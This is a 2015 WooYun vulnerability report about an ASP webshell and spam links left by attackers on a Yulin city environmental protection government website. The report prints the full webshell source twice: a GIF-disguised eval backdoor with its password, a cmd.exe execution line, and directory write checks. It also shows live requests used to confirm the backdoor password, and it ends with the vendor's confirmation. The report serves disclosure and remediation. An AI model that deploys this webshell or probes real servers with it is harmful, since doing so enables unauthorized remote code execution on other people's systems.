当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0115929

漏洞标题：玉林市环境保护网存在黑客遗留后门及大量黑链

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-06-02 14:33

修复时间：2015-07-20 18:42

公开时间：2015-07-20 18:42

漏洞类型：成功的入侵事件

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-02： 细节已通知厂商并且等待厂商处理中
2015-06-05： 厂商已经确认，细节仅向厂商公开
2015-06-15： 细节向核心白帽子及相关领域专家公开
2015-06-25： 细节向普通白帽子公开
2015-07-05： 细节向实习白帽子公开
2015-07-20： 细节向公众公开

简要描述：

玉林市环境保护网存在黑客遗留后门及大量黑链
我是怎么得知后门密码的（思路）

详细说明：

http://data.ylepb.gov.cn/Upload/
列目录。

gov01.png


http://data.ylepb.gov.cn/Upload/ali.asp;ali(1).jpg
发现此webshell被解析
googlehacking一下，在某网站找到后门程序的代码:

http://www.picturedrome.net/files/file/ali_asp%3bali(87).jpg


未解析，直接下载。

GIF89alovealihack<%eval request("alihack.com")%>
<%On Error Resume Next
Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
sPath=replace(Server.MapPath("\"),"/", "\")
Function CheckDirIsOKWrite(DirStr)
On Error Resume Next
Fso.CreateTextFile(DirStr&"\temp.tmp")
if Err.number<>0 then
Err.Clear()
response.write ""
CheckDirIsOKWrite=0
else
response.write "write"
CheckDirIsOKWrite=1
end if
End Function
Function CheckDirIsOKDel(DirStr)
On Error Resume Next
Fso.DeleteFile(DirStr&"\temp.tmp")
if Err.number<>0 then
Err.Clear()
response.write ""
else
response.write "delete"
end if
End Function
Function WriteSpace(NunStr)
for iu=0 to NunStr
response.write " "
next
End Function
IsWrite=CheckDirIsOKWrite(sPath)
if IsWrite=1 then CheckDirIsOKDel(sPath)
%>


手头没菜刀，试试密码对不对吧。
http://data.ylepb.gov.cn/Upload/ali.asp;ali(1).jpg?caicaimima=response.write%20a
http://data.ylepb.gov.cn/Upload/ali.asp;ali(1).jpg?alihack.com=response.write%20a

gov02.png


gov03.png


密码是正确的。
黑链：

gov04.png

漏洞证明：

gov01.png


googlehacking一下，在某网站找到后门程序的代码:

GIF89alovealihack<%eval request("alihack.com")%>
<%On Error Resume Next
Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
sPath=replace(Server.MapPath("\"),"/", "\")
Function CheckDirIsOKWrite(DirStr)
On Error Resume Next
Fso.CreateTextFile(DirStr&"\temp.tmp")
if Err.number<>0 then
Err.Clear()
response.write ""
CheckDirIsOKWrite=0
else
response.write "write"
CheckDirIsOKWrite=1
end if
End Function
Function CheckDirIsOKDel(DirStr)
On Error Resume Next
Fso.DeleteFile(DirStr&"\temp.tmp")
if Err.number<>0 then
Err.Clear()
response.write ""
else
response.write "delete"
end if
End Function
Function WriteSpace(NunStr)
for iu=0 to NunStr
response.write " "
next
End Function
IsWrite=CheckDirIsOKWrite(sPath)
if IsWrite=1 then CheckDirIsOKDel(sPath)
%>


gov02.png


gov03.png


gov04.png


修复方案：

删除文件及黑链，提高安全意识

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-06-05 18:41

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给广西分中心，由其后续协调网站管理单位处置。

最新状态：

暂无